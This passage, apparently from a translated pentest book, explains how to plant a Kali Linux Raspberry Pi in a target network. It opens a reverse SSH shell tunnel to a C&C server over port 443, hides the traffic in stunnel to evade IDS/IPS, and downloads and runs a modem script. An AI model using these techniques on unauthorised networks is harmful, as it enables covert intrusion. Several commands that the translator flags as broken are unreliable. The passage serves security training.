CanaKit公司出品的广受欢迎的树莓派套装中就包括这款Wi-Fi网卡。当然也可以单独购买。如果需要单独购买Wi-Fi网卡,请确保它支持Debian Linux。


以下网址包含详实的树莓派兼容网卡信息,可供参考:http://elinux.org/RPi_USB_Wi-Fi_Adapters

接好Wi-Fi网卡后,先确认系统是否能正常工作。方法是在终端窗口输入iwconfig命令,如图2-10所示。

图2-10

看到的wlan0接口就是新的无线接口。下一步就是启用这个接口。可以执行ifconfig wlan0 up命令,如图2-11所示。

图2-11

这时候无线接口应该就启用了,可以开始扫描无线网络。需要再来测试一下无线网卡以确保工作正常,同时也评估一下当前区域的无线环境。输入iwlist wlan0 scanning命令,如图2-12所示。

图2-12


很重要的一点,扫描出来的绝大多数无线网络是2.4 GHz频段的。因为绝大多数无线网卡是2.4 GHz 802.11 b/g制式的。根据需求可以更换不同型号的网卡。

执行iwlist wlan0 scanning命令会显示当前区域内找到的AP接入点的SSID和MAC地址等信息。图2-13是扫描一个无线实验室网络的截屏,这个AP的MAC地址是0E:18:1A:36:D6:22,同时也能看到这个AP使用的传输频道是36。

图2-13

这样就设置好树莓派的Kali Linux的无线网络了。

要把远程访问做得神不知鬼不觉,还可以在Kali Linux里通过3G USB上网卡,将树莓派接入手机蜂窝网络。各款上网卡会略有不同,所以各家3G卡类型和服务商的设置方式也会略有差异。推荐使用MiFi(Mobile Wi-Fi的缩写,也叫随身Wi-Fi)做热点,这样Kali Linux就能用Wi-Fi网卡接入网络了;当然,如果确实要用3G USB上网卡,请确保它能在Debian环境下工作。

在以下例子中,使用的是华为3G USB上网卡。这款3G USB上网卡可以在全球绝大多数频道下使用。

以下是设置这款3G上网卡的步骤。

1.打开终端窗口,输入以下命令:

wget http://www.ziddu.com/download/22764375/3gusbmodem. zip.html

2.输入unzip命令解压该文件。

3.切换到解压出来的目录下。

4.使解压出来的文件变得可执行,输入chmod +x 3gusbm*。

5.输入./3gusbmodem --interactive运行脚本。

6.脚本运行需要几分钟,请耐心等待。中间出现提示时,请选择Kernel模块。


然后需要选择自己的接入点名称(Access Point Name,APN)在对应的手机运营商里。可能还需要知道用户名和密码,才能登录移动运营商的APN。

上述步骤完成后选择OK按钮,很快就可以成功连上3G网络了[5]

Secure Shell(SSH)可以做到身处远程,也能完整地操作树莓派上的Kali Linux。命令行是管理Linux的最常用方式。由于大部分的渗透测试并不需要用到图形界面的Kali Linux,建议尽量使用SSH或其他命令行工具。部分Kali Linux默认就启用了SSH服务,但有部分还需要手工安装OpenSSH服务。

首先需要确认SSH服务是否已经安装。输入以下命令service --status- all检查SSH服务是否在运行。如果像图2-14所示的那样看到ssh前面有个+加号,则一切就绪。如果看到的是-减号,则需要手工安装OpenSSH服务。

图2-14

要安装OpenSSH服务,打开命令行终端,输入apt-get install openssh-server安装SSH服务。启动SSH服务,输入service ssh start命令,如图2-15所示。

图2-15

启动SSH服务后,就需要将SSH服务加到系统自启动中,保证重启后服务自动运行。首先,执行update-rc.d -f ssh remove命令去除SSH在相关运行级别里的设置,具体见图2-16。

图2-16

然后执行update-rc.d -f ssh defaults命令,加载SSH的默认设置,如图2-17所示。

图2-17

这样,SSH自启动在Kali Linux系统下就设置好了,以后会保持自启动。也就可以随时重启系统,而无需额外配置就能运行SSH了。

此时树莓派就可以通过SSH做远程管理了,这挺不错的。但是,如果有另一套也是默认安装出来的OpenSSH,就非常容易获得对应的私钥。修改私钥这一步是可选步骤,但最好改掉。毕竟,如果自己的渗透测试机器反而被人黑了,还是会感到颜面扫地的。

下面就是Kali Linux系统创建新的SSH私钥的过程。


确保是直接用键盘在Console控制台下执行以下步骤的。不要在现有SSH会话里执行这些步骤。

1.在终端或命令行里,将默认的SSH私钥文件移到备份目录。

cd /etc/ssh/
mkdir default_kali_keys
mv ssh_host_* default_kali_keys/

2.执行以下命令生成新的私钥文件,观察屏幕上的提示信息。

dpkg-reconfigure openssh-server
Creating SSH2 RSA key; this may take some time ...
Creating SSH2 DSA key; this may take some time ...
Creating SSH2 ECDSA key; this may take some time ...
[ ok ] Restarting OpenBSD Secure Shell server: sshd.

图2-18显示了这个过程。

图2-18

最后一步是执行命令service ssh restart重启Kali Linux上的SSH服务。

前面已经说过在远程地点用树莓派做渗透的优点。但将树莓派放到目标网络后,首要的问题是要怎样控制这台树莓派。最明显和灵活的做法就是Kali Linux上的SSH。

因为Kali Linux是一套完整功能的Linux操作系统,可以通过SSH控制整个系统;然而,从外面连入的SSH连接可能会被防火墙或其他的安全措施拦截。许多机构都会部署安全措施,以拦截接入的连接,避免自己的网络被开后门。在白盒评估测试中,也许可以明确地要求在防火墙上开放端口设置,以访问到树莓派的SSH服务,如图2-19所示的那样。但即使公司政策不反对这一做法,但实际操作中很难实现,因为使用场景涉及多个地点,它们由不同的管理团队控制。此时反向SSH就是管理Kali Linux树莓派的好办法了。

图2-19

在反向连接中,是由客户端连向服务器端,也是由它初始化到服务器端的连接,而不是服务器连到客户端。当然在这两种情况下,都是由服务器端控制客户端。这点与很多后门程序类似。为了使用方便,我们把这种技术用于系统管理。


许多入侵检测和拦截系统都会检查出SSH类型的流量,无论是从哪个端口进出。例如,即使同样采用443端口,SSH流量和常规的HTTPS也还是会有差异。

使用ssh命令的R开关来创建连向监听端的反向连接。监听端的设备处于监听状态,等待接受反向SSH连接。在设置的场景里,C&C服务器就是监听端。远程主机(树莓派)上使用的命令语法是:ssh -R [绑定的地址:]远程端口:本地主机:本地端口[6]

R开关定义了远端树莓派要和哪个外网端口连接,以及如何发起连接。换而言之,还需要选择一个外网端口,让远端的树莓派可以连过来。大多数机构对往外连的请求过滤得并不严格,使得往外连的做法比标准的SSH接入更有效。一般防火墙都会开放包括22、80、443和53等TCP端口,也就是客户端通常可以自由地连接外网这些端口。


某些严格限制外连的协议检测设备,如下一代防火墙、下一代IPS(入侵检测系统)和高级代理服务器可能会阻断这些连接。

本地端口是树莓派上某个服务的监听端口。在本场景中,运行的是SSH服务,所以本地端口默认是22。也可以把默认端口改得更隐秘些,或者使用加密通道,这部分内容会在本章后面介绍。总之这条命令会在C&C主控服务器上打开一个用于管理远端SSH的TCP端口,它在C&C服务器端等着接收树莓派的连入。而本地端口则是树莓派上运行SSH服务的实际端口。

在树莓派的例子里,输入以下命令:

ssh -fN -R 7000:localhost:22 C&C服务器端用户名@C&C服务器IP地址
ssh -fN -R 7000:localhost:22 root@192.168.162.133

上面这条命令是假设树莓派可以连到外网的7000端口。如果这个端口号不能用,那就再换一个。如图2-20所示,大多数机构都允许外连到443端口。

图2-20

所以根据图2-20的情况再换一个外连端口试试,在树莓派上执行如下命令:

ssh -fN -R 443:localhost:22 root@192.168.162.133

在C&C服务器端,打开命令行终端,输入以下命令:

ssh root@localhost -p 443

根据提示要输入树莓派上Kali Linux的root用户密码。可以看到在执行上一条命令后,命令行提示符变了。我们实际上已经登录到远程的树莓派上,可以完全控制它了,关系如图2-21所示。

图2-21


要确保已安装OpenSSH服务并处于运行状态,否则整个过程无法完成。最有可能的就是看到1条拒绝连接的错误信息。所以需要先修改启动参数,确保树莓派默认重启后会启动SSH,这点很重要。

这项技术叫反向shell tunneling(命令行通道)。可以选择任意源端口,如53端口,这通常是DNS服务的端口;或者80,这通常是HTTP服务的端口。但请记住,修改端口号并不意味着底层对应的协议也跟着变了。

很多管理员都会部署网络检测技术,如IDS/IPS来发现和阻止VPN连接。要绕过这种检测,其中一个办法是使用加密通道(简称stunnel)技术。stunnel会把客户端和服务器端两边的通信用SSL再封装一次。它使用工业标准的加密库如OpenSSL等,对远程客户端和服务器的通信进行SSL加密。Stunnel的好处在于,它为各种常规网络服务如POP2、POP3和IMAP提供了SSL功能但却不需要改动具体程序的代码。

要使用stunnel,首先需要使用命令apt-get install stunnel4 -y获得代码,如图2-22所示。

图2-22

系统可能会提示说已经安装好最新版本的stunnel程序了。

接下来需要在/etc/stunnel/目录下新建一个名为stunnel.conf的配置文件。可以用自己习惯的文本编辑器nano或vi来修改这个文件。

将以下配置加进stunnel.conf文件里。可以自行修改其使用的端口,以更符合自己的需求。

client = no
[squid]
accept = 8888
connect = 127.0.0.1:3128
cert = /etc/stunnel/stunnel.pem

图2-23展示了stunnel.conf文件中的配置。

图2-23

下一步是执行以下命令生成私钥:

cd /etc/stunnel/
openssl genrsa -out key.pem 2048
openssl req -new -x509 -key key.pem -out cert.pem -days 1095
cat key.pem cert.pem >> /etc/stunnel/stunnel.pem
sudo bash
cat server.key > server.pem && cat server.crt >> server.pem
chmod 400 /etc/stunnel/server.pem[7]

证书生成好后,再执行编辑命令sudo nano /etc/default/ stunnel4,进一步配置stunnel。

命令会打开相应的配置文件。将其中的Enabled = 0[8]改为Enabled = 1。然后再执行sudo nano /etc/stunnel/stunnel.conf命令,打开stunnel.conf文件,并把以下配置添加到文件里[9]

sslVersion = all
options = NO_SSLv2
cert = /etc/stunnel/stunnel.pem[10]
pid = /var/run/stunnel.pid
output = /var/log/stunnel
[openvpn]
client = no
accept = 993
connect = 34567

再执行以下命令创建firewall.sh文件,用于设置树莓派的防火墙策略:

sudo nano /usr/local/bin/firewall.sh

其内容为:

#!/bin/sh
iptables -A INPUT -p tcp --dport 993 -j ACCEPT[11]

下一步是执行以下命令重启stunnel服务:

/etc/init.d/stunnel4 restart

最后一步是在Kali Linux树莓派上安装Squid代理服务器,执行命令:apt-get install squid3 -y[12]

现在再来安装Stunnel客户端。可以在https://www.stunnel.org/downloads.html页面里下载Windows版Stunnel客户端程序。

图2-24就是Stunnel客户端的安装程序图标。

图2-24

安装完成后,打开Windows里stunnel的安装目录,通常位于:C:\Program Files\stunnel。

将Kali上创建的stunnel.pem证书文件原样复制到Windows客户端的同一个目录下。

然后打开stunnel.conf配置文件,替换原内容为(如果使用的端口和例子里的不一样,请相应地调整自己的端口设置):

cert = stunnel.pem
client = yes
[squid]
accept = 127.0.0.1:8080
connect = [服务器端的公网IP]:8888

保存并关闭这个文件。然后运行stunnel.exe程序,会看到配置页面显示如图2-25所示。

图2-25

然后就可以根据配置文件里accept设置的IP和端口,安全地连上树莓派了,具体见图2-26。

图2-26

回到本章开头的那个例子,复习一下在真实世界里是怎样运用本章的内容。回顾以下场景,我们的客户在全球不同地点都有办公地址,需要对每个地方进行渗透测试,但报价要适宜。为达成这个挑战,需要给每个地点组装好一套运行Kali Linux的树莓派,价值在100美金以内。我们给每个办公地点寄一套树莓派过去,由当地的人将树莓派接入本地网络。连接的方式和用到的工具会在下一章里讲到。

各地办公场所的人并不清楚我们要做什么,因此需要自己想办法突破已有的安全机制,如禁止外连的防火墙。要做到这点,我们利用邮件端口设置stunnel加密通道,在远端用一台运行Kali Linux的MacBook来连接各地的树莓派。这样就有一个主控的点,可以控制每台树莓派,并由这台机器分担大运算量的任务。这时候,就可以身处美国办公室,在各个树莓派上发起攻击了。

这种远程部署的方式,比起跑到每个办事处,然后按白天和夜晚计费,在初始预算上就大大降低了。客户们会很愿意为每个地点掏几百美金,支付这点硬件费用,因为大大节省了搭建环境和差旅的时间。在硬件开销之外,我们只需要收取渗透服务的费用,所以整个项目的费用很合理,结果也很成功。

在本章中,我们学习了在渗透测试环境里,如何在树莓派上定制和运行Kali Linux。内容还包括性能调优,以及如何尽量使用命令行方式,少用GUI图形工具的最佳实践。

本章还花了比较大的篇幅介绍如何设置处于远程的C&C服务器,以减轻树莓派上处理的任务和导出树莓派上的数据(第3章会介绍如何导出数据)。这部分涉及如何在树莓派和C&C服务器之间建立通信。连接的方式包括SSH、HTTPS和其他形式的通道。另外还讨论了当树莓派位于防火墙后面时,如何通过反向shell通道连回C&C服务器,进行远程管理的方法。

在本章之后,就可以开始进行渗透测试了。在下一章,将通过树莓派上的Kali Linux进行渗透测试的练习。

[1] 译者注:原文是hidden in a printer power cable,颇令人费解,一根cable要怎么藏一个树莓派啊!酌情译为“变压器”。

[2] 译者注:以上这些文件现已不存在或已不适用于主流的树莓派系统。

[3] 译者注:以上步骤实际上已完全不适用于当下主流的树莓派2及3版本,建议换以下地址下载所需的安装文件:
http://http.us.debian.org/debian/pool/main/l/lua5.1/lua5.1_5.1.5-8_armhf.deb
http://http.us.debian.org/debian/pool/main/t/triggerhappy/triggerhappy_0.3.4-2+b1_armhf.deb
http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/raspi-config_20160225_all.deb
http://http.us.debian.org/debian/pool/main/a/alsa-utils/alsa-utils_1.0.28-1_armhf.deb
再执行类似dpkg -i raspi-config_20160225_all.deb等命令安装以上软件包。

[4] 译者注:现在的树莓派里已经没有这样的设置了,直接选择overclock再选择里面更高频的配置组合即可。

[5] 译者注:实际上本节安装步骤已无参考意义,只要输入以下命令即可:

apt-get install ppp
apt-get install sakis3g

[6] 译者注:原文是ssh -R [bind_address:]port:host:hostport,但这行命令的写法并不完整,请以下文举例为准。

[7] 译者注:这一节最后三句命令貌似无用。上面创建stunnel.pem的步骤已经完整了。这里的server.pem感觉跟前后文无关。

[8] 译者注:这里在实际环境中应为Enabled,但作者似误为enable,酌情修改。

[9] 译者注:这一段酌情调整。

[10] 译者注:这里原文是server.pem,但和上面生成证书的步骤对不上。酌情改回stunnel.pem。

[11] 译者注:这段略作调整,iptables应该全小写,shell文件前面应该有#!那句(当然我猜作者认为大家都知道这点了),dport前面是两个-横线,不是一个。另外少了执行./firewall.sh脚本的步骤。

[12] 译者注:这一段似游离于上下文,后续并没有再写squid的用法和配置。


相关图书

ARM64体系结构编程与实践
ARM64体系结构编程与实践
树莓派用户指南(第4版)
树莓派用户指南(第4版)
树莓派机器人实战秘笈(第3版)
树莓派机器人实战秘笈(第3版)
树莓派开发实战(第2版)
树莓派开发实战(第2版)
树莓派Python编程入门与实战(第2版)
树莓派Python编程入门与实战(第2版)
开源硬件创客——15个酷应用玩转树莓派
开源硬件创客——15个酷应用玩转树莓派

相关文章

相关课程